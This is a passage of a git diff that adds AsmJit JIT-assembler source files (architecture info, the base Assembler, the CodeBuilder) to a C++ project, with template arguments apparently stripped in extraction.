(ASMJIT_UNLIKELY(typeId == TypeId::kF80)) + return DebugUtils::errored(kErrorInvalidUseOfF80); + + uint32_t regType = 0; + + switch (typeId) { + case TypeId::kI8: + case TypeId::kU8: + regType = X86Reg::kRegGpbLo; + break; + + case TypeId::kI16: + case TypeId::kU16: + regType = X86Reg::kRegGpw; + break; + + case TypeId::kI32: + case TypeId::kU32: + regType = X86Reg::kRegGpd; + break; + + case TypeId::kI64: + case TypeId::kU64: + if (archType == ArchInfo::kTypeX86) + return DebugUtils::errored(kErrorInvalidUseOfGpq); + + regType = X86Reg::kRegGpq; + break; + + // F32 and F64 are always promoted to use vector registers. + case TypeId::kF32: + typeId = TypeId::kF32x1; + regType = X86Reg::kRegXmm; + break; + + case TypeId::kF64: + typeId = TypeId::kF64x1; + regType = X86Reg::kRegXmm; + break; + + // Mask registers {k}. + case TypeId::kMask8: + case TypeId::kMask16: + case TypeId::kMask32: + case TypeId::kMask64: + regType = X86Reg::kRegK; + break; + + // MMX registers. + case TypeId::kMmx32: + case TypeId::kMmx64: + regType = X86Reg::kRegMm; + break; + + // XMM|YMM|ZMM registers. + default: + if (size <= 16) + regType = X86Reg::kRegXmm; + else if (size == 32) + regType = X86Reg::kRegYmm; + else + regType = X86Reg::kRegZmm; + break; + } + + typeIdInOut = typeId; + regInfo._signature = x86OpData.archRegs.regInfo[regType].getSignature(); + return kErrorOk; + } +#endif // ASMJIT_BUILD_X86 + + return DebugUtils::errored(kErrorInvalidArch); +} + +} // asmjit namespace + +// [Api-End] +#include "../asmjit_apiend.h" diff --git a/asmjit/src/asmjit/base/arch.h b/asmjit/src/asmjit/base/arch.h new file mode 100644 index 0000000..e03c6af --- /dev/null +++ b/asmjit/src/asmjit/base/arch.h @@ -0,0 +1,199 @@ +// [AsmJit] +// Complete x86/x64 JIT and Remote Assembler for C++. +// +// [License] +// Zlib - See LICENSE.md file in the package. + +// [Guard] +#ifndef _ASMJIT_BASE_ARCH_H +#define _ASMJIT_BASE_ARCH_H + +// [Dependencies] +#include "../base/globals.h" +#include "../base/operand.h" + +// [Api-Begin] +#include "../asmjit_apibegin.h" + +namespace asmjit { + +//! \addtogroup asmjit_base +//! \{ + +// ============================================================================ +// [asmjit::ArchInfo] +// ============================================================================ + +class ArchInfo { +public: + //! Architecture type. + ASMJIT_ENUM(Type) { + kTypeNone = 0, //!< No/Unknown architecture. + + // X86 architectures. + kTypeX86 = 1, //!< X86 architecture (32-bit). + kTypeX64 = 2, //!< X64 architecture (64-bit) (AMD64). + kTypeX32 = 3, //!< X32 architecture (DEAD-END). + + // ARM architectures. + kTypeA32 = 4, //!< ARM 32-bit architecture (AArch32/ARM/THUMB). + kTypeA64 = 5, //!< ARM 64-bit architecture (AArch64). + + //! Architecture detected at compile-time (architecture of the host). + kTypeHost = ASMJIT_ARCH_X86 ? kTypeX86 : + ASMJIT_ARCH_X64 ? kTypeX64 : + ASMJIT_ARCH_ARM32 ? kTypeA32 : + ASMJIT_ARCH_ARM64 ? kTypeA64 : kTypeNone + }; + + //! Architecture sub-type or execution mode. + ASMJIT_ENUM(SubType) { + kSubTypeNone = 0, //!< Default mode (or no specific mode). + + // X86 sub-types. + kSubTypeX86_AVX = 1, //!< Code generation uses AVX by default (VEC instructions). + kSubTypeX86_AVX2 = 2, //!< Code generation uses AVX2 by default (VEC instructions). + kSubTypeX86_AVX512 = 3, //!< Code generation uses AVX-512F by default (+32 vector regs). + kSubTypeX86_AVX512VL = 4, //!< Code generation uses AVX-512F-VL by default (+VL extensions). + + // ARM sub-types. + kSubTypeA32_Thumb = 8, //!< THUMB|THUMB2 sub-type (only ARM in 32-bit mode). + +#if (ASMJIT_ARCH_X86 || ASMJIT_ARCH_X64) && defined(__AVX512VL__) + kSubTypeHost = kSubTypeX86_AVX512VL +#elif (ASMJIT_ARCH_X86 || ASMJIT_ARCH_X64) && defined(__AVX512F__) + kSubTypeHost = kSubTypeX86_AVX512 +#elif (ASMJIT_ARCH_X86 || ASMJIT_ARCH_X64) && defined(__AVX2__) + kSubTypeHost = kSubTypeX86_AVX2 +#elif (ASMJIT_ARCH_X86 || ASMJIT_ARCH_X64) && defined(__AVX__) + kSubTypeHost = kSubTypeX86_AVX +#elif (ASMJIT_ARCH_ARM32) && (defined(_M_ARMT) || defined(__thumb__) || defined(__thumb2__)) + kSubTypeHost = kSubTypeA32_Thumb +#else + kSubTypeHost = 0 +#endif + }; + + // -------------------------------------------------------------------------- + // [Utilities] + // -------------------------------------------------------------------------- + + static ASMJIT_INLINE bool isX86Family(uint32_t archType) noexcept { return archType >= kTypeX86 && archType <= kTypeX32; } + static ASMJIT_INLINE bool isArmFamily(uint32_t archType) noexcept { return archType >= kTypeA32 && archType <= kTypeA64; } + + // -------------------------------------------------------------------------- + // [Construction / Destruction] + // -------------------------------------------------------------------------- + + ASMJIT_INLINE ArchInfo() noexcept : _signature(0) {} + ASMJIT_INLINE ArchInfo(const ArchInfo& other) noexcept : _signature(other._signature) {} + explicit ASMJIT_INLINE ArchInfo(uint32_t type, uint32_t subType = kSubTypeNone) noexcept { init(type, subType); } + + ASMJIT_INLINE static ArchInfo host() noexcept { return ArchInfo(kTypeHost, kSubTypeHost); } + + // -------------------------------------------------------------------------- + // [Init / Reset] + // -------------------------------------------------------------------------- + + ASMJIT_INLINE bool isInitialized() const noexcept { return _type != kTypeNone; } + + ASMJIT_API void init(uint32_t type, uint32_t subType = kSubTypeNone) noexcept; + ASMJIT_INLINE void reset() noexcept { _signature = 0; } + + // -------------------------------------------------------------------------- + // [Accessors] + // -------------------------------------------------------------------------- + + //! Get if the architecture is 32-bit. + ASMJIT_INLINE bool is32Bit() const noexcept { return _gpSize == 4; } + //! Get if the architecture is 64-bit. + ASMJIT_INLINE bool is64Bit() const noexcept { return _gpSize == 8; } + + //! Get architecture type, see \ref Type. + ASMJIT_INLINE uint32_t getType() const noexcept { return _type; } + + //! Get architecture sub-type, see \ref SubType. + //! + //! X86 & X64 + //! --------- + //! + //! Architecture subtype describe the highest instruction-set level that can + //! be used. + //! + //! ARM32 + //! ----- + //! + //! Architecture mode means the instruction encoding to be used when generating + //! machine code, thus mode can be used to force generation of THUMB and THUMB2 + //! encoding or regular ARM encoding. + //! + //! ARM64 + //! ----- + //! + //! No meaning yet. + ASMJIT_INLINE uint32_t getSubType() const noexcept { return _subType; } + + //! Get if the architecture is X86, X64, or X32. + ASMJIT_INLINE bool isX86Family() const noexcept { return isX86Family(_type); } + //! Get if the architecture is ARM32 or ARM64. + ASMJIT_INLINE bool isArmFamily() const noexcept { return isArmFamily(_type); } + + //! Get a size of a general-purpose register. + ASMJIT_INLINE uint32_t getGpSize() const noexcept { return _gpSize; } + //! Get number of general-purpose registers. + ASMJIT_INLINE uint32_t getGpCount() const noexcept { return _gpCount; } + + // -------------------------------------------------------------------------- + // [Operator Overload] + // -------------------------------------------------------------------------- + + ASMJIT_INLINE const ArchInfo& operator=(const ArchInfo& other) noexcept { _signature = other._signature; return *this; } + ASMJIT_INLINE bool operator==(const ArchInfo& other) const noexcept { return _signature == other._signature; } + ASMJIT_INLINE bool operator!=(const ArchInfo& other) const noexcept { return _signature != other._signature; } + + // -------------------------------------------------------------------------- + // [Members] + // -------------------------------------------------------------------------- + + union { + struct { + uint8_t _type; //!< Architecture type. + uint8_t _subType; //!< Architecture sub-type. + uint8_t _gpSize; //!< Default size of a general purpose register. + uint8_t _gpCount; //!< Count of all general purpose registers. + }; + uint32_t _signature; //!< Architecture signature (32-bit int). + }; +}; + +// ============================================================================ +// [asmjit::ArchRegs] +// ============================================================================ + +//! Information about all architecture registers. +struct ArchRegs { + //! Register information and signatures indexed by \ref Reg::Type. + RegInfo regInfo[Reg::kRegMax + 1]; + //! Count (maximum) of registers per \ref Reg::Type. + uint8_t regCount[Reg::kRegMax + 1]; + //! Converts RegType to TypeId, see \ref TypeId::Id. + uint8_t regTypeToTypeId[Reg::kRegMax + 1]; +}; + +// ============================================================================ +// [asmjit::ArchUtils] +// ============================================================================ + +struct ArchUtils { + ASMJIT_API static Error typeIdToRegInfo(uint32_t archType, uint32_t& typeIdInOut, RegInfo& regInfo) noexcept; +}; + +//! \} + +} // asmjit namespace + +// [Api-End] +#include "../asmjit_apiend.h" + +// [Guard] +#endif // _ASMJIT_BASE_ARCH_H diff --git a/asmjit/src/asmjit/base/assembler.cpp b/asmjit/src/asmjit/base/assembler.cpp new file mode 100644 index 0000000..79a2666 --- /dev/null +++ b/asmjit/src/asmjit/base/assembler.cpp @@ -0,0 +1,447 @@ +// [AsmJit] +// Complete x86/x64 JIT and Remote Assembler for C++. +// +// [License] +// Zlib - See LICENSE.md file in the package. + +// [Export] +#define ASMJIT_EXPORTS + +// [Dependencies] +#include "../base/assembler.h" +#include "../base/constpool.h" +#include "../base/utils.h" +#include "../base/vmem.h" + +// [Api-Begin] +#include "../asmjit_apibegin.h" + +namespace asmjit { + +// ============================================================================ +// [asmjit::Assembler - Construction / Destruction] +// ============================================================================ + +Assembler::Assembler() noexcept + : CodeEmitter(kTypeAssembler), + _section(nullptr), + _bufferData(nullptr), + _bufferEnd(nullptr), + _bufferPtr(nullptr), + _op4(), + _op5() {} + +Assembler::~Assembler() noexcept { + if (_code) sync(); +} + +// ============================================================================ +// [asmjit::Assembler - Events] +// ============================================================================ + +Error Assembler::onAttach(CodeHolder* code) noexcept { + // Attach to the end of the .text section. + _section = code->_sections[0]; + uint8_t* p = _section->_buffer._data; + + _bufferData = p; + _bufferEnd = p + _section->_buffer._capacity; + _bufferPtr = p + _section->_buffer._length; + + _op4.reset(); + _op5.reset(); + + return Base::onAttach(code); +} + +Error Assembler::onDetach(CodeHolder* code) noexcept { + _section = nullptr; + _bufferData = nullptr; + _bufferEnd = nullptr; + _bufferPtr = nullptr; + + _op4.reset(); + _op5.reset(); + + return Base::onDetach(code); +} + +// ============================================================================ +// [asmjit::Assembler - Code-Generation] +// ============================================================================ + +Error Assembler::_emit(uint32_t instId, const Operand_& o0, const Operand_& o1, const Operand_& o2, const Operand_& o3, const Operand_& o4, const Operand_& o5) { + _op4 = o4; + _op5 = o5; + _options |= kOptionOp4Op5Used; + return _emit(instId, o0, o1, o2, o3); +} + +Error Assembler::_emitOpArray(uint32_t instId, const Operand_* opArray, size_t opCount) { + const Operand_* op = opArray; + switch (opCount) { + case 0: return _emit(instId, _none, _none, _none, _none); + case 1: return _emit(instId, op[0], _none, _none, _none); + case 2: return _emit(instId, op[0], op[1], _none, _none); + case 3: return _emit(instId, op[0], op[1], op[2], _none); + case 4: return _emit(instId, op[0], op[1], op[2], op[3]); + + case 5: + _op4 = op[4]; + _op5.reset(); + _options |= kOptionOp4Op5Used; + return _emit(instId, op[0], op[1], op[2], op[3]); + + case 6: + _op4 = op[4]; + _op5 = op[5]; + _options |= kOptionOp4Op5Used; + return _emit(instId, op[0], op[1], op[2], op[3]); + + default: + return DebugUtils::errored(kErrorInvalidArgument); + } +} + +// ============================================================================ +// [asmjit::Assembler - Sync] +// ============================================================================ + +void Assembler::sync() noexcept { + ASMJIT_ASSERT(_code != nullptr); // Only called by CodeHolder, so we must be attached. + ASMJIT_ASSERT(_section != nullptr); // One section must always be active, no matter what. + ASMJIT_ASSERT(_bufferData == _section->_buffer._data); // `_bufferStart` is a shortcut to `_section->buffer.data`. + + // Update only if the current offset is greater than the section length. + size_t offset = (size_t)(_bufferPtr - _bufferData); + if (_section->getBuffer().getLength() < offset) + _section->_buffer._length = offset; +} + +// ============================================================================ +// [asmjit::Assembler - Code-Buffer] +// ============================================================================ + +Error Assembler::setOffset(size_t offset) { + if (_lastError) return _lastError; + + size_t length = std::max(_section->getBuffer().getLength(), getOffset()); + if (ASMJIT_UNLIKELY(offset > length)) + return setLastError(DebugUtils::errored(kErrorInvalidArgument)); + + // If the `Assembler` generated any code the `_bufferPtr` may be higher than + // the section length stored in `CodeHolder` as it doesn't update it each + // time it generates machine code. This is the same as calling `sync()`. + if (_section->_buffer._length < length) + _section->_buffer._length = length; + + _bufferPtr = _bufferData + offset; + return kErrorOk; +} + +// ============================================================================ +// [asmjit::Assembler - Comment] +// ============================================================================ + +Error Assembler::comment(const char* s, size_t len) { + if (_lastError) return _lastError; + +#if !defined(ASMJIT_DISABLE_LOGGING) + if (_globalOptions & kOptionLoggingEnabled) { + Logger* logger = _code->getLogger(); + logger->log(s, len); + logger->log("\n", 1); + return kErrorOk; + } +#else + ASMJIT_UNUSED(s); + ASMJIT_UNUSED(len); +#endif + + return kErrorOk; +} + +// ============================================================================ +// [asmjit::Assembler - Building Blocks] +// ============================================================================ + +Label Assembler::newLabel() { + uint32_t id = 0; + if (!_lastError) { + ASMJIT_ASSERT(_code != nullptr); + Error err = _code->newLabelId(id); + if (ASMJIT_UNLIKELY(err)) setLastError(err); + } + return Label(id); +} + +Label Assembler::newNamedLabel(const char* name, size_t nameLength, uint32_t type, uint32_t parentId) { + uint32_t id = 0; + if (!_lastError) { + ASMJIT_ASSERT(_code != nullptr); + Error err = _code->newNamedLabelId(id, name, nameLength, type, parentId); + if (ASMJIT_UNLIKELY(err)) setLastError(err); + } + return Label(id); +} + +Error Assembler::bind(const Label& label) { + if (_lastError) return _lastError; + ASMJIT_ASSERT(_code != nullptr); + + LabelEntry* le = _code->getLabelEntry(label); + if (ASMJIT_UNLIKELY(!le)) + return setLastError(DebugUtils::errored(kErrorInvalidLabel)); + + // Label can be bound only once. + if (ASMJIT_UNLIKELY(le->isBound())) + return setLastError(DebugUtils::errored(kErrorLabelAlreadyBound)); + +#if !defined(ASMJIT_DISABLE_LOGGING) + if (_globalOptions & kOptionLoggingEnabled) { + StringBuilderTmp<256> sb; + if (le->hasName()) + sb.setFormat("%s:", le->getName()); + else + sb.setFormat("L%u:", Operand::unpackId(label.getId())); + + size_t binSize = 0; + if (!_code->_logger->hasOption(Logger::kOptionBinaryForm)) + binSize = Globals::kInvalidIndex; + + Logging::formatLine(sb, nullptr, binSize, 0, 0, getInlineComment()); + _code->_logger->log(sb.getData(), sb.getLength()); + } +#endif // !ASMJIT_DISABLE_LOGGING + + Error err = kErrorOk; + size_t pos = getOffset(); + + LabelLink* link = le->_links; + LabelLink* prev = nullptr; + + while (link) { + intptr_t offset = link->offset; + uint32_t relocId = link->relocId; + + if (relocId != RelocEntry::kInvalidId) { + // Adjust relocation data. + RelocEntry* re = _code->_relocations[relocId]; + re->_data += static_cast(pos); + } + else { + // Not using relocId, this means that we are overwriting a real + // displacement in the CodeBuffer. + int32_t patchedValue = static_cast( + static_cast(pos) - offset + link->rel); + + // Size of the value we are going to patch. Only BYTE/DWORD is allowed. + uint32_t size = _bufferData[offset]; + if (size == 4) + Utils::writeI32u(_bufferData + offset, static_cast(patchedValue)); + else if (size == 1 && Utils::isInt8(patchedValue)) + _bufferData[offset] = static_cast(patchedValue & 0xFF); + else + err = DebugUtils::errored(kErrorInvalidDisplacement); + } + + prev = link->prev; + _code->_unresolvedLabelsCount--; + _code->_baseHeap.release(link, sizeof(LabelLink)); + + link = prev; + } + + // Set as bound. + le->_sectionId = _section->getId(); + le->_offset = pos; + le->_links = nullptr; + resetInlineComment(); + + if (err != kErrorOk) + return setLastError(err); + + return kErrorOk; +} + +Error Assembler::embed(const void* data, uint32_t size) { + if (_lastError) return _lastError; + + if (getRemainingSpace() < size) { + Error err = _code->growBuffer(&_section->_buffer, size); + if (ASMJIT_UNLIKELY(err != kErrorOk)) return setLastError(err); + } + + ::memcpy(_bufferPtr, data, size); + _bufferPtr += size; + +#if !defined(ASMJIT_DISABLE_LOGGING) + if (_globalOptions & kOptionLoggingEnabled) + _code->_logger->logBinary(data, size); +#endif // !ASMJIT_DISABLE_LOGGING + + return kErrorOk; +} + +Error Assembler::embedLabel(const Label& label) { + if (_lastError) return _lastError; + ASMJIT_ASSERT(_code != nullptr); + + RelocEntry* re; + LabelEntry* le = _code->getLabelEntry(label); + + if (ASMJIT_UNLIKELY(!le)) + return setLastError(DebugUtils::errored(kErrorInvalidLabel)); + + Error err; + uint32_t gpSize = getGpSize(); + + if (getRemainingSpace() < gpSize) { + err = _code->growBuffer(&_section->_buffer, gpSize); + if (ASMJIT_UNLIKELY(err)) return setLastError(err); + } + +#if !defined(ASMJIT_DISABLE_LOGGING) + if (_globalOptions & kOptionLoggingEnabled) + _code->_logger->logf(gpSize == 4 ? ".dd L%u\n" : ".dq L%u\n", Operand::unpackId(label.getId())); +#endif // !ASMJIT_DISABLE_LOGGING + + err = _code->newRelocEntry(&re, RelocEntry::kTypeRelToAbs, gpSize); + if (ASMJIT_UNLIKELY(err)) return setLastError(err); + + re->_sourceSectionId = _section->getId(); + re->_sourceOffset = static_cast(getOffset()); + + if (le->isBound()) { + re->_targetSectionId = le->getSectionId(); + re->_data = static_cast(static_cast(le->getOffset())); + } + else { + LabelLink* link = _code->newLabelLink(le, _section->getId(), getOffset(), 0); + if (ASMJIT_UNLIKELY(!link)) + return setLastError(DebugUtils::errored(kErrorNoHeapMemory)); + link->relocId = re->getId(); + } + + // Emit dummy DWORD/QWORD depending on the address size. + ::memset(_bufferPtr, 0, gpSize); + _bufferPtr += gpSize; + + return kErrorOk; +} + +Error Assembler::embedConstPool(const Label& label, const ConstPool& pool) { + if (_lastError) return _lastError; + + if (!isLabelValid(label)) + return DebugUtils::errored(kErrorInvalidLabel); + + ASMJIT_PROPAGATE(align(kAlignData, static_cast(pool.getAlignment()))); + ASMJIT_PROPAGATE(bind(label)); + + size_t size = pool.getSize(); + if (getRemainingSpace() < size) { + Error err = _code->growBuffer(&_section->_buffer, size); + if (ASMJIT_UNLIKELY(err)) return setLastError(err); + } + + uint8_t* p = _bufferPtr; + pool.fill(p); + +#if !defined(ASMJIT_DISABLE_LOGGING) + if (_globalOptions & kOptionLoggingEnabled) + _code->_logger->logBinary(p, size); +#endif // !ASMJIT_DISABLE_LOGGING + + _bufferPtr += size; + return kErrorOk; +} + +// ============================================================================ +// [asmjit::Assembler - Emit-Helpers] +// ============================================================================ + +#if !defined(ASMJIT_DISABLE_LOGGING) +void Assembler::_emitLog( + uint32_t instId, uint32_t options, const Operand_& o0, const Operand_& o1, const Operand_& o2, const Operand_& o3, + uint32_t relSize, uint32_t imLen, uint8_t* afterCursor) { + + Logger* logger = _code->getLogger(); + ASMJIT_ASSERT(logger != nullptr); + ASMJIT_ASSERT(options & CodeEmitter::kOptionLoggingEnabled); + + StringBuilderTmp<256> sb; + uint32_t logOptions = logger->getOptions(); + + uint8_t* beforeCursor = _bufferPtr; + intptr_t emittedSize = (intptr_t)(afterCursor - beforeCursor); + + sb.appendString(logger->getIndentation()); + + Operand_ opArray[6]; + opArray[0].copyFrom(o0); + opArray[1].copyFrom(o1); + opArray[2].copyFrom(o2); + opArray[3].copyFrom(o3); + + if (options & kOptionOp4Op5Used) { + opArray[4].copyFrom(_op4); + opArray[5].copyFrom(_op5); + } + else { + opArray[4].reset(); + opArray[5].reset(); + } + + Logging::formatInstruction( + sb, logOptions, + this, getArchType(), + Inst::Detail(instId, options, _extraReg), opArray, 6); + + if ((logOptions & Logger::kOptionBinaryForm) != 0) + Logging::formatLine(sb, _bufferPtr, emittedSize, relSize, imLen, getInlineComment()); + else + Logging::formatLine(sb, nullptr, Globals::kInvalidIndex, 0, 0, getInlineComment()); + + logger->log(sb.getData(), sb.getLength()); +} + +Error Assembler::_emitFailed( + Error err, + uint32_t instId, uint32_t options, const Operand_& o0, const Operand_& o1, const Operand_& o2, const Operand_& o3) { + + StringBuilderTmp<256> sb; + sb.appendString(DebugUtils::errorAsString(err)); + sb.appendString(": "); + + Operand_ opArray[6]; + opArray[0].copyFrom(o0); + opArray[1].copyFrom(o1); + opArray[2].copyFrom(o2); + opArray[3].copyFrom(o3); + + if (options & kOptionOp4Op5Used) { + opArray[4].copyFrom(_op4); + opArray[5].copyFrom(_op5); + } + else { + opArray[4].reset(); + opArray[5].reset(); + } + + Logging::formatInstruction( + sb, 0, + this, getArchType(), + Inst::Detail(instId, options, _extraReg), opArray, 6); + + resetOptions(); + resetExtraReg(); + resetInlineComment(); + return setLastError(err, sb.getData()); +} +#endif + +} // asmjit namespace + +// [Api-End] +#include "../asmjit_apiend.h" diff --git a/asmjit/src/asmjit/base/assembler.h b/asmjit/src/asmjit/base/assembler.h new file mode 100644 index 0000000..55fbb14 --- /dev/null +++ b/asmjit/src/asmjit/base/assembler.h @@ -0,0 +1,154 @@ +// [AsmJit] +// Complete x86/x64 JIT and Remote Assembler for C++. +// +// [License] +// Zlib - See LICENSE.md file in the package. + +// [Guard] +#ifndef _ASMJIT_BASE_ASSEMBLER_H +#define _ASMJIT_BASE_ASSEMBLER_H + +// [Dependencies] +#include "../base/codeemitter.h" +#include "../base/codeholder.h" +#include "../base/operand.h" +#include "../base/simdtypes.h" + +// [Api-Begin] +#include "../asmjit_apibegin.h" + +namespace asmjit { + +//! \addtogroup asmjit_base +//! \{ + +// ============================================================================ +// [asmjit::Assembler] +// ============================================================================ + +//! Base assembler. +//! +//! This class implements a base interface that is used by architecture +//! specific assemblers. +//! +//! \sa CodeCompiler. +class ASMJIT_VIRTAPI Assembler : public CodeEmitter { +public: + ASMJIT_NONCOPYABLE(Assembler) + typedef CodeEmitter Base; + + // -------------------------------------------------------------------------- + // [Construction / Destruction] + // -------------------------------------------------------------------------- + + //! Create a new `Assembler` instance. + ASMJIT_API Assembler() noexcept; + //! Destroy the `Assembler` instance. + ASMJIT_API virtual ~Assembler() noexcept; + + // -------------------------------------------------------------------------- + // [Events] + // -------------------------------------------------------------------------- + + ASMJIT_API Error onAttach(CodeHolder* code) noexcept override; + ASMJIT_API Error onDetach(CodeHolder* code) noexcept override; + + // -------------------------------------------------------------------------- + // [Code-Generation] + // -------------------------------------------------------------------------- + + using CodeEmitter::_emit; + + ASMJIT_API Error _emit(uint32_t instId, const Operand_& o0, const Operand_& o1, const Operand_& o2, const Operand_& o3, const Operand_& o4, const Operand_& o5) override; + ASMJIT_API Error _emitOpArray(uint32_t instId, const Operand_* opArray, size_t opCount) override; + + // -------------------------------------------------------------------------- + // [Code-Buffer] + // -------------------------------------------------------------------------- + + //! Called by \ref CodeHolder::sync(). + ASMJIT_API virtual void sync() noexcept; + + //! Get the capacity of the current CodeBuffer. + ASMJIT_INLINE size_t getBufferCapacity() const noexcept { return (size_t)(_bufferEnd - _bufferData); } + //! Get the number of remaining bytes in the current CodeBuffer. + ASMJIT_INLINE size_t getRemainingSpace() const noexcept { return (size_t)(_bufferEnd - _bufferPtr); } + + //! Get the current position in the CodeBuffer. + ASMJIT_INLINE size_t getOffset() const noexcept { return (size_t)(_bufferPtr - _bufferData); } + //! Set the current position in the CodeBuffer to `offset`. + //! + //! NOTE: The `offset` cannot be outside of the buffer length (even if it's + //! within buffer's capacity). + ASMJIT_API Error setOffset(size_t offset); + + //! Get start of the CodeBuffer of the current section. + ASMJIT_INLINE uint8_t* getBufferData() const noexcept { return _bufferData; } + //! Get end (first invalid byte) of the current section. + ASMJIT_INLINE uint8_t* getBufferEnd() const noexcept { return _bufferEnd; } + //! Get pointer in the CodeBuffer of the current section. + ASMJIT_INLINE uint8_t* getBufferPtr() const noexcept { return _bufferPtr; } + + // -------------------------------------------------------------------------- + // [Code-Generation] + // -------------------------------------------------------------------------- + + ASMJIT_API Label newLabel() override; + ASMJIT_API Label newNamedLabel( + const char* name, + size_t nameLength = Globals::kInvalidIndex, + uint32_t type = Label::kTypeGlobal, + uint32_t parentId = 0) override; + ASMJIT_API Error bind(const Label& label) override; + ASMJIT_API Error embed(const void* data, uint32_t size) override; + ASMJIT_API Error embedLabel(const Label& label) override; + ASMJIT_API Error embedConstPool(const Label& label, const ConstPool& pool) override; + ASMJIT_API Error comment(const char* s, size_t len = Globals::kInvalidIndex) override; + + // -------------------------------------------------------------------------- + // [Emit-Helpers] + // -------------------------------------------------------------------------- + +protected: +#if !defined(ASMJIT_DISABLE_LOGGING) + void _emitLog( + uint32_t instId, uint32_t options, const Operand_& o0, const Operand_& o1, const Operand_& o2, const Operand_& o3, + uint32_t relSize, uint32_t imLen, uint8_t* afterCursor); + + Error _emitFailed( + Error err, + uint32_t instId, uint32_t options, const Operand_& o0, const Operand_& o1, const Operand_& o2, const Operand_& o3); +#else + ASMJIT_INLINE Error _emitFailed( + uint32_t err, + uint32_t instId, uint32_t options, const Operand_& o0, const Operand_& o1, const Operand_& o2, const Operand_& o3) { + + resetOptions(); + resetInlineComment(); + return setLastError(err); + } +#endif + + // -------------------------------------------------------------------------- + // [Members] + // -------------------------------------------------------------------------- + +public: + SectionEntry* _section; //!< Current section where the assembling happens. + uint8_t* _bufferData; //!< Start of the CodeBuffer of the current section. + uint8_t* _bufferEnd; //!< End (first invalid byte) of the current section. + uint8_t* _bufferPtr; //!< Pointer in the CodeBuffer of the current section. + + Operand_ _op4; //!< 5th operand data, used only temporarily. + Operand_ _op5; //!< 6th operand data, used only temporarily. +}; + +//! \} + +} // asmjit namespace + +// [Api-End] +#include "../asmjit_apiend.h" + +// [Guard] +#endif // _ASMJIT_BASE_ASSEMBLER_H diff --git a/asmjit/src/asmjit/base/codebuilder.cpp b/asmjit/src/asmjit/base/codebuilder.cpp new file mode 100644 index 0000000..1f00248 --- /dev/null +++ b/asmjit/src/asmjit/base/codebuilder.cpp @@ -0,0 +1,584 @@ +// [AsmJit] +// Complete x86/x64 JIT and Remote Assembler for C++. +// +// [License] +// Zlib - See LICENSE.md file in the package. + +// [Export] +#define ASMJIT_EXPORTS + +// [Guard] +#include "../asmjit_build.h" +#if !defined(ASMJIT_DISABLE_BUILDER) + +// [Dependencies] +#include "../base/codebuilder.h" + +// [Api-Begin] +#include "../asmjit_apibegin.h" + +namespace asmjit { + +// ============================================================================ +// [asmjit::CodeBuilder - Construction / Destruction] +// ============================================================================ + +CodeBuilder::CodeBuilder() noexcept + : CodeEmitter(kTypeBuilder), + _cbBaseZone(32768 - Zone::kZoneOverhead), + _cbDataZone(16384 - Zone::kZoneOverhead), + _cbPassZone(32768 - Zone::kZoneOverhead), + _cbHeap(&_cbBaseZone), + _cbPasses(), + _cbLabels(), + _firstNode(nullptr), + _lastNode(nullptr), + _cursor(nullptr), + _position(0), + _nodeFlags(0) {} +CodeBuilder::~CodeBuilder() noexcept {} + +// ============================================================================ +// [asmjit::CodeBuilder - Events] +// ============================================================================ + +Error CodeBuilder::onAttach(CodeHolder* code) noexcept { + return Base::onAttach(code); +} + +Error CodeBuilder::onDetach(CodeHolder* code) noexcept { + _cbPasses.reset(); + _cbLabels.reset(); + _cbHeap.reset(&_cbBaseZone); + + _cbBaseZone.reset(false); + _cbDataZone.reset(false); + _cbPassZone.reset(false); + + _position = 0; + _nodeFlags = 0; + + _firstNode = nullptr; + _lastNode = nullptr; + _cursor = nullptr; + + return Base::onDetach(code); +} + +// ============================================================================ +// [asmjit::CodeBuilder - Node-Factory] +// ============================================================================ + +Error CodeBuilder::getCBLabel(CBLabel** pOut, uint32_t id) noexcept { + if (_lastError) return _lastError; + ASMJIT_ASSERT(_code != nullptr); + + size_t index = Operand::unpackId(id); + if (ASMJIT_UNLIKELY(index >= _code->getLabelsCount())) + return DebugUtils::errored(kErrorInvalidLabel); + + if (index >= _cbLabels.getLength()) + ASMJIT_PROPAGATE(_cbLabels.resize(&_cbHeap, index + 1)); + + CBLabel* node = _cbLabels[index]; + if (!node) { + node = newNodeT(id); + if (ASMJIT_UNLIKELY(!node)) + return DebugUtils::errored(kErrorNoHeapMemory); + _cbLabels[index] = node; + } + + *pOut = node; + return kErrorOk; +} + +Error CodeBuilder::registerLabelNode(CBLabel* node) noexcept { + if (_lastError) return _lastError; + ASMJIT_ASSERT(_code != nullptr); + + // Don't call setLastError() from here, we are noexcept and we are called + // by `newLabelNode()` and `newFuncNode()`, which are noexcept as well. + uint32_t id; + ASMJIT_PROPAGATE(_code->newLabelId(id)); + size_t index = Operand::unpackId(id); + + // We just added one label so it must be true. + ASMJIT_ASSERT(_cbLabels.getLength() < index + 1); + ASMJIT_PROPAGATE(_cbLabels.resize(&_cbHeap, index + 1)); + + _cbLabels[index] = node; + node->_id = id; + return kErrorOk; +} + +CBLabel* CodeBuilder::newLabelNode() noexcept { + CBLabel* node = newNodeT(); + if (!node || registerLabelNode(node) != kErrorOk) + return nullptr; + return node; +} + +CBAlign* CodeBuilder::newAlignNode(uint32_t mode, uint32_t alignment) noexcept { + return newNodeT(mode, alignment); +} + +CBData* CodeBuilder::newDataNode(const void* data, uint32_t size) noexcept { + if (size > CBData::kInlineBufferSize) { + void* cloned = _cbDataZone.alloc(size); + if (!cloned) return nullptr; + + if (data) ::memcpy(cloned, data, size); + data = cloned; + } + + return newNodeT(const_cast(data), size); +} + +CBConstPool* CodeBuilder::newConstPool() noexcept { + CBConstPool* node = newNodeT(); + if (!node || registerLabelNode(node) != kErrorOk) + return nullptr; + return node; +} + +CBComment* CodeBuilder::newCommentNode(const char* s, size_t len) noexcept { + if (s) { + if (len == Globals::kInvalidIndex) len = ::strlen(s); + if (len > 0) { + s = static_cast(_cbDataZone.dup(s, len, true)); + if (!s) return nullptr; + } + } + + return newNodeT(s); +} + +// ============================================================================ +// [asmjit::CodeBuilder - Code-Emitter] +// ============================================================================ + +Label CodeBuilder::newLabel() { + uint32_t id = kInvalidValue; + + if (!_lastError) { + CBLabel* node = newNodeT(id); + if (ASMJIT_UNLIKELY(!node)) { + setLastError(DebugUtils::errored(kErrorNoHeapMemory)); + } + else { + Error err = registerLabelNode(node); + if (ASMJIT_UNLIKELY(err)) + setLastError(err); + else + id = node->getId(); + } + } + + return Label(id); +} + +Label CodeBuilder::newNamedLabel(const char* name, size_t nameLength, uint32_t type, uint32_t parentId) { + uint32_t id = kInvalidValue; + + if (!_lastError) { + CBLabel* node = newNodeT(id); + if 